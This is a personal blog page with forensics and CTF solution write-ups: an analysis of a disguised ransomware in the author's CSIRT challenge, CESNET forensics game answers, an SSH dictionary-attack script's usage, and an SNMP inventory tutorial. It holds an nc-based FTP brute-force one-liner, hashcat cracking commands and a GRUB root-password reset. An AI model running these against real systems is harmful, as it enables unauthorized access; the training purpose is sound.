My name is Radovan Brezula and you are reading my personal blog. By way of introduction, let me tell you few words about me and my blog. I work as a professional soldier of the Slovak Armed Forces. I've been a Linux enthusiast since 2005. That time I fell in love with Fedora Linux. My relationship with my beloved Fedora was broken in 2013 when I started using Linux Debian.

I started with my blog in September 2010, at that time as a side project of my studies for Cisco certification. As the days went by, I added tutorials about emulation of various network devices from different vendors using GNS3. In case that you are looking for articles about running devices such as Cisco CSR 1000v, Quagga, VyOS, Open vSwitch, Atista, Alcatel-Lucent and others on Linux, the blog is the right place to start reading. You will also find here information about installation of machine emulators and virtualizers such as Qemu, KVM, VirtualBox, VMware Workstation on Debian and Fedora Linux.

If you wish to get in touch with me, here is my Google+ profile and Google+ page. You can also reach me via Facebook  or send me an email to If you think it is reasonable to send me an encrypt message, here is my public GPG key.

Forensics Challenge for CSIRT Team - Part 2 Solution

The goal of the tutorial is to provide a solution to the forensic challenge game that I created for testing forensic skills of CSIRT team. Please be careful and run a suspicious binary file located inside a provided virtual machine only in a secured environment in order to avoid unwanted damage or loss.

As you can notice, some files are being encrypted right after boot of a virtual machine. All these files have suffix .enc001. You can easily located them with the command:

$ find / -name "*.enc001" -type f 2>/dev/null

There is also a file named encryption_warning.txt located in a home directory of an actual user and it contains a following warning message.
*** Your files have been encrypted! ***
*** To decrypt them, run '/usr/local/bin/ls %1a%your_decryption_key ***

Without any doubts a utility ls is not a cryptography tool so it is a good place where we can start our investigation. The command /usr/local/bin/ls -la  shows files in a actual directory.

ubuntu@ubuntu:~$ /usr/local/bin/ls -la


Picture 1 - Content of  Actual Directory

The output looks good. But what does happen if we display a non-existing file kdkdkdkdk?

ubuntu@ubuntu:~$ /usr/local/bin/ls kdkdkdkdk


Picture 2 - Two Error Messages

They are two interesting facts shown in the output of the command /usr/local/bin/ls . Firstly, two error messages are presented in the output. Normally, the ls command shows only one error message. Secondly, a utility /bin/ls is used instead of /usr/local/bin/ls.  It seems that they are two ls utilities presented in the file system. We can prove the existence of two ls utilities with whereis command.

ubuntu@ubuntu:~$ whereis ls
ls: /bin/ls /usr/local/bin/ls /usr/share/man/man1/ls.1.gz

The command which gives us an answer to the question which ls binary is run when command ls is entered.

ubuntu@ubuntu:~$ which ls

Our /usr/local/bin utility is a 64 bit binary file, statically linked. As far as we have known the command /usr/local/bin/ls starts the utility /bin/ls when it is entered and it can also decrypts certain type of files.

ubuntu@ubuntu:~$ file /usr/local/bin/ls
/usr/local/bin/ls: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=83648a4b8d193e7b48eaba0ab4caf02463b04557, stripped

We are going to run a binary file /usr/local/bin/ls as a background process and immediately kill it sending a signal segmentation fault to the process. As a result, a core dump is created in the directory /var/crash.

ubuntu@ubuntu:~$ /usr/local/bin/ls & ( kill -SIGSEGV "$!" )

Further investigation of a core dump reveals that a Bash script is located inside the core dump. I wrote a script which extracts the script from a core dump.

ubuntu@ubuntu:~$ ./


Picture 3 - Using Extracting Script to Extract Bash Script From Core Dump

The extracted Bash script is a ransomware which is compiled and obfuscated with a utility shc. The script has following features:

  • Script uses an email client - swaks for sending an encryption key to an email address The client authenticates itself with the account Thanks to using email address for sending a key and the email address for receiving a key, the attacker can still use information sent to the second email address when a password for the first email address stored in /usr/local/bin/ls binary is revealed.
  • Script downloads swaks from the Internet and stores it to ~/.vim directory as a hidden file named .sender.
  • If a key is not successfully sent for some reason, the script tries to resend the key stored in ~/.bashrc, every time a command /usr/local/bin is entered until the key is successfully sent.
  • Script uses OpenSSL with AES 256 encryption algorithm to encrypt files with the encryption key length 32 characters.
  • Separate OpenSSL process is started and sent to background to encrypt different type of users' files (txt, html, jpg etc.) in order to speed up an encryption process.
  • If an encryption process is interrupted (computer is rebooted etc.), the script continues encrypting files with a key stored in ~/.bashrc, when /usr/local/bin command is entered.
  • Only if an encryption key is successfully sent to the email address and encryption is finished, the script deletes a key from a file ~/.bashrc.
  • If a script cannot locate OpenSSL in a file system, it downloads it here. The script saves it to the ~/.vim directory as hidden file named .updater.
  • Script masks its real function starting a "real" /bin/ls command when a fake /usr/local/bin/ls command is entered. The script delivers the maximum four arguments it receives from user's input to the /bin/ls command.
  • Script can both encrypt and decrypt users' files. Only if a pattern %1a% plus a correct decryption key is entered together with /usr/local/bin/ls command, the script starts a decryption process. If a provided key is wrong, the script just calls /bin/ls command.

Functions and Body of Script
The script consists of the following functions.

  • insbshrc -insert either an encryption key or a keyword Sent=0 to ~/.bashrc.
  • clean - removes a key and a keyword Sent=0 from ~/.bashrc, deletes files from /tmp that contain the list of files being encrypted and deletes swaks  (~/.vim/.sender).
  • checkwget - checks if  either wget or curl exists.
  • checkopenssl - if OpenSSL is not found, the OpenSSL binary is downloaded from here and  saved ( ~/.vim/.updater).
  • sendkey - Perl email client is downloaded from the Internet and saved (~/.vim/.sender). If sending is successful a function insbshrc is called. The function inserts a keyword Sent=0 to ~/.bashrc. The function sendkey also collects and sends info about hostid, a public IP address, MAC addresses of Ethernet cards and a list of partitions from /etc/fstab  together with the encryption key.
  • encall - searches for particular files in a file system and starts functions checkwget, checkopenssl, insbshrc, functions for encrypting files and finally the function clean. It also creates file /tmp.X1-lock after successful encryption. For each type files selected for encryption a background process.
  • decall - decrypts encrypted files with a provided key and creates a file /tmp/.X2-lock. It also calls  checkwget and checkopenssl functions to ensure that OpenSSL binary is available in a file system.
  • showls - calls either /bin/ls or /usr/bin/ls with maximum four arguments entered by user.

The body of the script performs following actions:

  • checks if either /bin/ls or /usr/bin/ls exist. If not, scripts exits.
  • checks if a file ~/.bashrc exists in a user home directory.
  • stores script arguments and  number of arguments to variables.
  • checks if arguments contain a string %1a% (if yes, decryption is started).
  • checks if alias ls --color=auto is configured in ~/.bashrc.
  • checks if thy are running instances of ls command. If there is more than one instance running and we are not decrypting, the script calls function showls and exits. This prevents encryption to start while previous encryption is still in progress.
  • If arguments contain the string %1a%, the script extracts an encryption key from arguments. If a hidden file /tmp/.X2-lock does not exists, the script calls a function decall (decryption function).
  • Based on presence of the file /tmp/.X1-lock, presence of an encryption key and a keyword Sent=0 in a file ~/.bashrc, the script takes different actions. For instance, if arguments do not contain string %1a%, the script calls a function showls and do following:
    • if a file /tmp/.X1-lock does no exist and an encryption key is not found in ~/.bashrc, we are going to generate a new key, encrypt files and send key (k=11).
    • if a file /tmp/.X1-lock exists and the key is found in ~/.bashrc, we are only going to send the key found in ~/.bashrc and no encryption is done (k=00).
    • if a file /tmp/.X1-lock does not exist, yhe key is found in ~/.bashrc and a keyword Sent=0 is not found in ~/.bashrc, we are going to encrypt with the old key and send the key (k=101).
    • if a file /tmp/.X1-lock does not exist, the key is found in ~/.bashrc. and a keyword Sent=0 is found in ~/.bashrc, we are going only encrypt files without sending the key (k=100).
    • if a file /tmp/.X1-lock exists and a key is not found in ~/.bashrc we are going to do  nothing (k=01).

Files Created by Ransomware
Below is the list of files that script creates.

  • /tmp/.X1-lock - represents a time stamp for encryption. If the file exists, the script knows that encryption process is finished.
  • /tmp/.X2-lock - represents a time stamp for decryption. If the file exists, the script knows that decryption process is finished.
  • The script searches for files based on to their suffix and stores a result of its findings to these files:
    • /tmp/.doc.bak, /tmp/.docx.bak, /tmp/.txt.bak, /tmp/.xls.bak, /tmp/.xlsx.bak, /tmp/.ppt.bak, /tmp/.pptx.bak, /tmp/.odt.bak, /tmp/.pdf.bak, /tmp/.accdb.bak, /tmp/.html.bak, /tmp/.php.bak, /tmp/.jpg.bak, /tmp/.bmp.bak, /tmp/.gif.bak, /tmp/.png.bak

Analysis of Captured Network Traffic
A network traffic generated by a function sendkey is captured here. Packets number 5 and 6 are DNS query requests sent to the DNS server with IP address to translate a domain name Packets packets 7 and 8 are DNS responses sent by the DNS server. The server returns IP addresses and as a response for the domain A web page ( provides a public IP address of host and its connected user-agent. A TCP three way handshake between web server with the IP address and client is shown in the packets 9-11.  In a packet number 14, the server sends response 200 OK with the public IP address of the host as a response to HTTP GET request

Packets 21-24 are DNS request/replies for a domain A DNS response returns IP address for this domain. A TCP 3 way handshake between IPs and is captured in packets 25-27. In packet number 28, the server sends SMTP response code 220 (service ready) with a response parameter - domain In 30th packet, ESMTP client (swaks) sends EHLO (extended HELLO) command  to the mail server. We can see a hostname of the host - osboxes.  In packet number 32, the mail server responds with code 250 (success) with multiple response parameters.

  • PIPELINING - Command pipelining
  • SIZE -Message size declaration
  • VRFY - Verify user name
  • ETRN - Extended version of remote message queue starting command TURN
  • STARTTLS - Transport layer security
  • 8BITMIME - 8 bit data transmission
  • DSN - Delivery status notification

SMTP client sends TLS command to the email server inside the packet 33. The server responds with a response code 220 and a respond parameter - 2.0.0 ready to start TLS.  Then the client and the server exchange TLS Client and Server Hello messages in packets  35 and 37. The server selects cipher suite (TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) and a compression method (null) in its Server Hello message sent to the client. Then the server sends its certificate to the client inside a packet 43. The server and client exchange their keys in packets 44 and 46. TLS handshake is finished in a packet 47 and encrypted application data start to flow begging with a packet 48. Communication between the client and the mail server is finished in a packet 75.

Known Issues
Swaks is configured to use TLS encryption during sending a key. If Perl has no a module Net::SSLeay installed, sending does not occur. As a result,  a network traffic is not generated and the script keeps the key in ~/.bashrc.

You can install Net::SSLeay module with the command.

$ sudo apt-get install libnet-ssleay-perl
$ sudo apt-get install libcrypt-ssleay-perl

Alternative Solution for Decrypting SHC Files
There is BASH script UnSHC available on github which decrypts binary files created by SHC. I was able to recreate ls BASH script with the UnSHc version 0.7.

$ wget
$ unzip
$ cp UnSHc-master/latest/ .
$ ./ ls -o

The file contains an original BASH  script.



Forensics Challenge for CSIRT Team - Part 1 Assignment

I have created a virtual machine that you can use to test your forensics analysis skills. Please, download the VM, solve an assignment below and share solutions with us.

1. Assignment
Your are a member of the elite CSIRT team which is responsible for dealing with computer security incidents in your jurisdiction. You are asked to investigate a server that was previously administered by disgruntled administrator Mr. Abdullah Khan who was fired up. The login credentials for the server were changed after Khan's sacking from the company but it is believed that he might insert malicious software into server before changing of credentials. Your task is to ensure that a sever does not contain any malicious software and user data stored on the server are not compromised. You also need to prove your professional forensic skills and analyze a suspicious file in case you will find it on the server. Based on your investigation you should find out how malware work and create detailed report for your boss.

The server is running Ubuntu 16.04.1 and it is primary used as a file server with configured SSH access. Unfortunately the backup of user files is damaged and cannot be used in case of data are lost during your investigation. The login/password is ubuntu/ubuntu and root/root.

2. Terms of  Use

  1. Any use of the software located inside the provided virtual machine is at your own risk and it is intended for learning purpose only.
  2.  Use of software for malicious purpose is strictly prohibited.
  3.  You further acknowledge and agree that I am not responsible or liable, directly nor indirectly, for any damage or loss caused or alleged to be caused by or in connection with use of any software located inside the provided virtual machine.

Forensic Lab Game Zero - Level 2 Results

Below are my solutions to the level 2 of the forensics lab game zero. The solutions to  the level 1 of the game are posted here.

1. Find way to reset root's account password and retrieve flag from /root/flag.txt

Reboot the VM and press 'e ' edit inside the Grub menu screen. Add command init=/bin/bash at the end of the line starting with linux and press F10. Thne mount file system as read-write.

root@(none):/# mount -n -o remount,rw /

Change password for user root.
root@(none):/# passwd

root@(none):/# cat /root/flag.txt

root@(none):/# echo -n '8d55761dfafe912daa2fa6c38e05435093f7f636' | sha1sum

Restart the virtual machine and switch to the root account.

2. There is a memory dump of the windows machine is stored in file /root/memdump.mem. Find the flag among commands executed on that machine

Find info about our memory dump with imageinfo plugin.

root@debian1989:/home/kassad# python /opt/tools/volatility-2.4/ imageinfo -f /root/memdump.mem | grep Profile
Volatility Foundation Volatility Framework 2.4
Suggested Profile(s) : Win7SP0x86, Win7SP1x86

To avoid typing chosen profile --profile=Win7SP1x86 every time is called, export the profile.

root@debian1989:/home/kassad# export VOLATILITY_PROFILE=Win7SP1x86

To avoid typing path to memory dump file, export memory dump location so you do not need to add argument -f /root/memdump.mem.

root@debian1989:/home/kassad# export VOLATILITY_LOCATION=file:///root/memdump.mem

root@debian1989:/home/kassad# cd /opt/tools/volatility-2.4

Extract commands history.

root@debian1989:/opt/tools/volatility-2.4# python cmdscan | grep flag
Volatility Foundation Volatility Framework 2.4
Cmd #3 @ 0x113e68: echo 'The flag is the sha1 sum of the text: "modern internet explorer"'

root@debian1989:/opt/tools/volatility-2.4# echo -n 'modern internet explorer' | sha1sum

root@debian1989:/opt/tools/volatility-2.4# echo -n 'b56ee489d66686a469eb3a96a6bc2ba4c19b7fe2' | sha1sum

3. The Volatility Framework has remarkable number of plugins, extract the NT hash of logged in user

Checking the commands history helps us to find logged user who entered the commands.

root@debian1989:/opt/tools/volatility-2.4# python consoles

C:\Users\IEUser>Hello sans ;)
<Output truncated>

User IEUser was logged in. Now we can extract the hash of the user IEUser from the dump.

root@debian1989:/opt/tools/volatility-2.4# python ./ hashdump | grep IEUser
Volatility Foundation Volatility Framework 2.4

The hash type is LM hash and the constant value aad3b435b51404eeaad3b435b51404ee is easily recognized. It means that  password is less than 8 characters. The LM hash is fc525c9683e8fe067095ba2ddc971889.

root@debian1989:/opt/tools/volatility-2.4# echo -n 'fc525c9683e8fe067095ba2ddc971889' | sha1sum

Cracking the hash with hashcat gives us the password Passw0rd!.

$ ./hashcat-cli64.bin -m 1000 hashlm.txt /home/brezular/rockyou.txt

4. Analyze saved web browser profile in /root/web_browser_profile folder. What is the password for administrative account for local LAN router of the profile's user.

root@debian1989:/opt/tools/volatility-2.4# cd /root/web_browser_profile/1hysdb7q.default/
root@debian1989:~/web_browser_profile1hysdb7q.default/# grep 'admin' *

<Output truncated>
<Output truncated>

root@debian1989:~/web_browser_profile1hysdb7q.default/# echo -n 'velmiDl0uh3aB3zpecneH3s10' | sha1sum

5. Find the flag inside core dump file in /root directory

root@debian1989:/opt/tools/volatility-2.4# strings /root/

There is the string ca6f99804a29c7979ae0155e01a61cb622d9213e inside the file which is the flag.

root@debian1989:/opt/tools/volatility-2.4# echo -n ca6f99804a29c7979ae0155e01a61cb622d9213e | sha1sum

6. Find a hidden flag inside animated GIF from /root folder

root@debian1989:~# strings homer1.gif
<Output truncated>

The flag is 6f77ac81e69a136a3141a30917b2781e04cfd4b1.

root@debian1989:~# echo -n '6f77ac81e69a136a3141a30917b2781e04cfd4b1' | sha1sum

7. In the packet capture located at /root/icmp.pcap, what is the most likely reason that one of the nodes isn't getting replies from the queried host? - wrong ttl, incorrect mac address, icmp destination port, bad checksum

Incorrect MAC address for host (default gw) 52:54:11:af:cc:92. The correct MAC address for the host should be 52:54:00:12:35:02.

kassad@debian1989:~$ echo -n 'incorrect mac address' | sha1sum

8. What process is listening on tcp/4444? Enter the full path of the executable as the answer

First find the name and PID of process.

root@debian1989:/home/kassad# ps -auxew | grep 4444 | grep -v grep
nobody 2300 0.0 0.1 20616 1992 ? S 22:16 0:00 ncat --send-only -l -k 4444 HOME=/nonexistent LOGNAME=nobody PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin LANG=en_US.UTF-8 SHELL=/bin/sh PWD=/var/spool/cron

The script starting ncat is running wit PID 2300. Utility ncat is listening on port 4444. The last line of the /etc/crontab tells us that every minute, the check is done if the process with the name local-service is running. If not, the script /usr/local/bin/ is started.

root@debian1989:/home/kassad# tail -1 /etc/crontab
* * * * * nobody pgrep local-service || /usr/local/bin/

The script is responsible for 'keeping ncat listening on port 44444'. It loops checking if the number 4444 can be found in the process. If not it starts ncat binary.

root@debian1989:/home/kassad# cat /usr/local/bin/
#in courtesy of, I hate to reinvent a wheel

while true; do lsof -i | grep ":4444" || cat /etc/motd | ncat --send-only -l -k 4444; done

In fact, they are two ncat binaries in the path.

root@debian1989:/home/kassad# whereis ncat
ncat: /usr/bin/ncat /usr/local/bin/ncat /usr/share/man/man1/ncat.1.gz

The find out an absolute path to binary ncat which is listening on TCP port 4444 we use the command:

root@debian1989:/home/kassad# readlink  /proc/2300/exe

root@debian1989:/home/kassad# echo -n '/usr/local/bin/ncat' | sha1sum

9. In C program, /root/program.o, which of the expected arguments can trigger heap buffer overflow – none, first, second, third

root@debian1989:~# /root/program.o 

If the argument 1 exceeds the certain length of characters,  binary crashes.

root@debian1989:~# echo -n 'first' | sha1sum

End of level 2.


Forensic Lab Game Zero - Level 1 Results

The goal of the post is to provide solutions for the first level of the game for "hackers" created by forensic lab of CESNET association. With this game CESNET introduces a work of forensic analysts and test your knowledge of Linux OS. They are several assignments and practical tasks included inside Debian image which is available for download here.  The question / answer sheet is located inside the home directory of user kassad.


Picture 1 - Answer Sheet

1. In the Linux image, which username is logged in automatically on boot?

Check the desktop environment.

kassad@debian1989:~$ echo $DESKOP_SESSION

Check if automated login is enabled for Gnome desktop.

kassad@debian1989:~$ grep 'AutomaticLogin' /etc/gdm3/daemon.conf
AutomaticLoginEnable = true
AutomaticLogin = kassad

The automated login is enabled for the user kassad.  Now we need to compute the sha1 hash for the result.

kassad@debian1989:~$ echo -n 'kassad' | sha1sum

2. On the provided Linux image, what is the “ls” command aliased to for user from question 1 ?

kassad@debian1989:~$ type ls
ls is aliased to `ls --color=auto'

We can get the result also by checking the content of the file /home/kassad/.bashrc.

kassad@debian1989:~$ grep 'alias ls' /home/kassad/.bashrc
alias ls='ls --color=auto'

kassad@debian1989:~$ echo -n 'ls --color=auto' | sha1sum

3. Which of the following commands are build into the Bash shell ? - cat, ls, echo, awk

kassad@debian1989:~$ type cat ls echo awk | grep builtin
echo is a shell builtin

kassad@debian1989:~$ echo -n echo | sha1sum

4. Which non-root user on the Linux image can execute /bin/bsd-csh?

Check privileges.

kassad@debian1989:~$ ls -l /bin/bsd-csh
-rwxr-x--- 1 root lamia 143144 Jul 18 2014 /bin/bsd-csh

Find who is member of the group lamia.

kassad@debian1989:~$ grep 'lamia' /etc/group

Check the name of the user with uid=1001.

kassad@debian1989:~$ cat /etc/passwd | grep 1001
uid=1001(lamia) gid=1001(lamia) groups=1001(lamia)

kassad@debian1989:~$ echo -n 'lamia' | sha1sum

5. Which command will open the manual page for nmap ?

kassad@debian1989:~$ echo -n 'man nmap' | sha1sum

6. There is an FTP service running on the provided Linux VM, use list of known weak passwords from one of the tools located in /opt/tools/ to recover the password for the account dure and retrieve content of flag.txt from his home directory

a) Extract dictionary

kassad@debian1989:~$ cp /opt/tool/rockyou.txt.bz2 /home/kassad/
kassad@debian1989:~$ bzip2 -d rockyou.txt.bz2

b) FTP server bruteforce script

The script uses nc to connect to FTP server on localhost with passwords from the file rockyou.txt and username dure. If the script detects exit code 230 (successful connect) the password is shown and script finishes.

kassad@debian1989:~$ while read lines; do echo "trying: $lines"; echo -e "USER dure\nPASS $lines\nQUIT" | nc localhost 21 | grep -q "230" && echo "pass: $lines" && break; done < rockyou.txt

pass for user dure is a1b2c3

c) Connect to FTP server and download file flag.txt

kassad@debian1989:~$ ftp -n localhost 21
ftp> user dure
230 Login successful.
ftp> mget flag.txt

kassad@debian1989:~$ cat flag.txt

kassad@debian1989:~$ echo -n 'da79c8dd34410073244ef8c85cf6da726f19d230' | sha1sum

7. A backup of a WordPress database is located in your home directory. Recover a plaintext password for admin acount. For offline cracking a long dictionaries are typically used

a) Locate hash
The following line in the file wordpress.sample.sql contains hash for user admin.

INSERT INTO `wp_users` VALUES (1,'admin','$P$BKNIHw43WhqEgh/1jjRa1pMnDMIlbT0','admin','admin@localhost.loc','','2013-03-27 16:30:57','',0,'admin');

The hash is: $P$BKNIHw43WhqEgh/1jjRa1pMnDMIlbT0

b) Identify hash

Here is the Hash online identifier. Your hash may be one of the following:

- phpass, MD5(WordPress), MD5(phpBB3)

c) Install Hashcat

I have installed the Hashcat on host computer to speed up hash cracking process.

$ wget
$ mkdir hashcat
$ mv hashcat-2.00.7z hashcat
$ cd hashcat/
$ 7z e hashcat-2.00.7z

d) Crack hash with Hashcat

$ ./hashcat-cli64.bin -m 400 /home/brezular/Downloads/forenzna/hash.txt /home/brezular/Downloads/forenzna/rockyou.txt

Password for user admin is budakbageur.

$ echo -n 'budakbageur' | sha1sum

8. There are two texfiles in /home/kassad directory, system_hashes_baseline and system_hashes_incident0. Using those information find the probable file which was added during the security incident. Use SHA1 of the file as answer

a) Count the words in both files

kassad@debian1989:~$ wc -l  system_hashes_incident0.txt system_hashes_baseline.txt
313 system_hashes_incident0.txt
312 system_hashes_baseline.txt
625 total

Now we are sure that a file filesystem_hashes_incident0.txt has plus one hash comparing to the original hash filesystem_hashes_baseline.txt. All we need to do is to compare every line from the file filesystem_hashes_incident0.txt filesystem_hashes_incident0.txt  with the content of the original file. If the line is not found, we have our hash.

kassad@debian1989:~$ while read line; do hash1=$(echo "$line"| cut -d " " -f1); grep -q "$hash1" system_hashes_baseline.txt; rval="$?"; [ "$rval" == 1 ] && echo "$line"; done < /home/kassad/system_hashes_incident0.txt

7ff56d9d0b8c4fc0a1a62e452ba93b43b30ce483 /bin/netcat.real

The file /bin/netcat.real was added by attacker.

kassad@debian1989:~$ echo -n '7ff56d9d0b8c4fc0a1a62e452ba93b43b30ce483' | sha1sum

9. Found most active attacker from the given logfile /home/kassad/auth.log

kassad@debian1989:~$ grep -o -w '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' auth.log | sort | uniq -c | sort -bgr


The most active attacker has IP address

kassad@debian1989:~$ echo -n '' | sha1sum

10. What type of file is /home/kassad/somefile - disk image, zip file, text file, HTML page

kassad@debian1989:~$ file /home/kassad/somefile
somefile: DOS/MBR boot sector, code offset 0x3e+2, OEM-ID "MSWIN4.0", root entries 224, sectors 2880 (volumes <=32 MB) , sectors/FAT 9, sectors/track 18, serial number 0x350518e3, label: "BOOT95A ", FAT (12 bit), followed by FAT

kassad@debian1989:~$ echo -n 'disk image' | sha1sum
19d43c36d41667b1b63e1220cfc8498605f9ffcc -

11. Mount the drive image located in your home directory and retrieve content of flag.txt stored inside. Administrator of virtual machine already gave you permissions to run mount and unmount commands as root

kassad@debian1989:~$ mkdir mount
kassad@debian1989:~$ sudo mount -t vfat somefile mount/

kassad@debian1989:~$ cat /home/kassad/mount/flag.txt

kassad@debian1989:~$ echo -n '75df0cfbc5757721f18f3ab1b3b0603ff0c1644f' | sha1sum

12. There is another file hidden inside provided disk image, find it and retrieve flag from it's metadata

kassad@debian1989:~$ exiftool -r /home/kassad/mount/.hype.jpg | grep Comment | cut -d ":" -f2

kassad@debian1989:~$ echo -n '548f59ce9ad3b8d0ce477ff51a0eddbad474022e' | sha1sum

13. Which of the user's of provided VM is equivalent to root from Linux perspective?

kassad@debian1989:~$ cat /etc/passwd | grep -w '0'

User simmons has id 0 so he has root privileges.

kassad@debian1989:~$ echo -n simmons | sha1sum

14. User kassad can run several programs using sudo. Based on commands available, find and retrieve the flag

kassad@debian1989:~$ sudo -l -U kassad

User kassad may run the following commands on debian1989:
(root) NOPASSWD: /bin/mount, /bin/umount
(lamia) NOPASSWD: /usr/bin/get_a_flag

kassad@debian1989:~$ sudo -u lamia /usr/bin/get_a_flag
Here is your flag lamia: 87df8cb351dc718369ae900297bafbb33fffa28e

kassad@debian1989:~$ echo -n '87df8cb351dc718369ae900297bafbb33fffa28e' | sha1sum 6076243406b4cd05b9dc7fcfaaab7fcea8438c5e

15. Find a flag set in the kernel's command line arguments

kassad@debian1989:~$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-3.16.0-4-amd64 root=UUID=d6afdc70-c685-4545-a442-bffa3c4a0170 ro quiet 49c11fb5e18585445a5d121b35a4ea138c327489

kassad@debian1989:~$ echo -n '49c11fb5e18585445a5d121b35a4ea138c327489' | sha1sum ea557ae465386d60e2c46273b8d8abafad01972a

End of level 1.


BASH Script for Dictionary Attack Against SSH Server

Although they are several dictionary password attack tools available for Linux such as Hydra, Ncrack, Patator I have decided to practice BASH scripting and write a script The script performs a dictionary attack against SSH server. It reads usernames and passwords from dictionaries (one for username and one for password) and uses them to login to SSH server. The script also supports interrupted guessing. It can be stopped without loosing info about the progress of guessing because it saves the last used username and password in a file 01xza01.txt. Once the script is started again it continues guessing using saved credentials until the correct username and password is found. Then it stores found credentials to the file x0x901f22result.txt and displays a result on the output. If a valid combination of username and password is not found, the script displays warining message and finishes.

Below are shown parameters of the script. The number of parallel SSH sessions can be controlled with a parameter -n. This parameters tells the script to wait constant time in seconds before a new SSH session is generated. Changing the value of the parameter we can effectively slow down or speed up generating parallel SSH sessions.  If no value is entered, the script sets the value to 0.1 second.


Picture 1 - Script Parameters

Thy example of  the script usage is shown below. It takes 4 minutes and 28 seconds for the script to find a password located on 5000th row of a dictionary rocky.txt (14344393 lines).

$ ./ -a -d 22 -p rockyou.txt -u users.txt -n 0.05

<Output truncated>

Trying username: 'brezular' and password: '852963'
Trying username: 'brezular' and password: 'zanessa'
Trying username: 'brezular' and password: 'tupac'
Trying username: 'brezular' and password: 'shijos'
*** Found username: 'brezular' and password: 'xxxxxxxx' ***

The SSH cracking performance of the script was even better than performance achieved with a popular online password cracking tool THC Hydra. It took 5 minutes and 13 seconds for Hydra to find valid credentials using the maximum allowed 64 parallel sessions comparing to 4 minutes and 28 seconds achieved by the script.


Collecting MAC and IP Adresses of Hosts Connected to Cisco Switches Using SNMP

The goal of this article is to introduce a script that automates a process of collecting MAC and IP address of hosts connected to Cisco switches using Simple Network Management Protocol (SNMP). We will configure SNMP version 2c and 3 on Cisco switches and create a BASH script that collects required data for us. For this purpose I have created a test network lab using GNS3. The topology consists of three Cisco virtual switch appliances running vIOS-L2 and one network management station (NMS) based on Kali Linux. Network hosts are simulated by Core Linux appliances connected to Cisco vIOS-l2 switches.

1. GNS3 Lab

1.1 List of software used for creating GNS3 lab

  • Host OS
    x86-64 Linux Fedora with installed GNS3 1.3.11 and Qemu1.4.0
  • Network Management Station
    Linux Kali 3.18.0-kali3-amd64
  • Swiches
    Cisco vIOS l2 Software (vios_l2-ADVENTERPRISEK9-M), Version 15.2
    Cisco Catalyst 3550 (C3550-IPSERVICESK9-M), Version 12.2(55)SE9
  • Network Host (End device)
    Linux Core 3.16.6-tinycore64

1.2 Network Topology Description

All virtual network and host devices are running inside GNS3 project and they are emulated by Qemu emulator and virtualizer. The only exception is a Cisco Catalyst 3550 switch that is connected to topology via GNS3 network cloud device. Using a hardware switch in the lab is a must as vIOS-L2 instances can only provide info about hosts connected to VLAN 1. It will be discussed later.


Picture 1 - Network Topology

Switches have their SVI interfaces statically configured with IP address from subnet range The hosts obtain  IP addresses automatically from DHCP server configured on switch vIOS-L2-1 (

The NMS station is occupied with two network interfaces. The first interface - Ethernet0 is connected to the subnet and it has assigned an IP address The second interface Ethernet1 is connected to a cloud device (L3 switch icon labeled with description c3550).

The cloud device is connected to the subnet using NAT created by Qemu. The IP address of the Ethernet1 interface is and it is obtained automatically from Qemu built-in DHCP server (subnet Thanks to NAT connection the NMS station has connectivity to the network where is a Cisco Catalyst 3550 switch located. The switch is statically configured with IP address

2. SNMP Configuration on Switches and SNMPwalk

This part shows configuration of SNMP agents on Cisco switches and an example of using snmpwalk command that is used to query SNMP agents. The switches are configured with different SNMP versions in order to test syntax of snmpwalk command used by BASH script. The SNMP version 2c is configured on the switch with IP address and a version 3 is configured on the rest switches.

The switches configured with SNMP version 3 contain different security levels configuration. For instance, the switch vIOS-L2-1 ( is configured with a security level AuthPriv, while the switch vIOS-L2-2 ( is configured with a level NoAuthNoPriv. The security level AuthNoPriv is configured on the switch vIOS-L2-3 (

Cisco Catalyst 3550 ( contains SNMP version 3 configuration with a security level AuthPriv. It is an old hardware switch and I use it in a lab for collecting MAC and IP addresses of hosts connected to switchports that are assigned to VLANs different from VLAN 1.

As I have mentioned before, I was only successful with collecting MACs of host connected to switchports in VLAN 1 of virtual switches (running vIOS-L2 image). For this reason I had to connected Catalyst 3550 switch to GNS3 lab in order to  tell the script to collect data from other VLANs.

2.1 Cisco Switch vIOS-L2-1 ( configured for SNMPv3 and Security Level AuthPriv

SNMP version 3 is configured on Cisco switch vIOS-L2-1 ( and it allows a read access to the switch for NMS. The configured security level is AuthPriv (priv) which means that either MD5 or SHA hash protocol is used for authentication and either DES or AES symmetric encryption algorithm for encryption of SNMP messages. The AuthPriv security level is a recommended to configure because it offers both authentication and encryption of SNMP messages therefore it is is the most secure level. Below is shown configuration on Cisco switch.

vIOS-L2-I(config)# snmp-server group V3Group v3 priv read V3Read
vIOS-L2-I(config)# snmp-server user V3User V3Group v3 auth md5 your_Auth_Password priv aes 128 your_Enc_Password
vIOS-L2-I(config)# snmp-server view V3Read iso included
vIOS-L2-I(config)# snmp-server group V3Group v3 priv context vlan- match prefix

Below is the example of using snmpwalk command started on NMS station. The command collects the entries from ARP table from the switch (

$ snmpwalk -v3 -On -l authPriv -u V3User -a MD5 -A your_Auth_Password -x AES -X your_Enc_Password

If we want to query CAM (MAC) address table we have to specify particular VLAN for which we want to collect entries. For instance to query entries for VLAN 100, the command is following:

$ snmpwalk -v3 -On -n vlan-100 -l authPriv -u V3User -a MD5 -A your_Auth_Password -x AES -X your_Enc_Password

Note: Collecting data from switch CAM table using SNMP protocol is not as straightforward as collecting data from ARP table. Overall four SNMP GET requests must be sent from NMS to single SNMP agent to get info about MAC addresses of hosts and the switchports the hosts are connected to. Moreover these SNMP GET requests must be sent for each VLAN configured on switch. I wrote a script that parse output from SNMP requests sent to query  CAM and ARP tables and create an output file for each switch. The file contains info about particular MAC address of host, switchport and IP address.

2.2 Cisco Switch vIOS-L2-3 ( configured for SNMPv3 and Security Level AuthNoPriv

SNMP configuration below provides a read access to the switch for NMS with configured security level AuthnoPriv (auth). This level offers only authentication of SNMP messages,  SNMP messages are not encrypted.

vIOS-L2-3(config)# snmp-server group V3Group v3 auth read V3Read
vIOS-L2-3(config)# snmp-server user V3User V3Group v3 auth md5 your_Auth_Password
vIOS-L2-3(config)# snmp-server view V3Read iso included
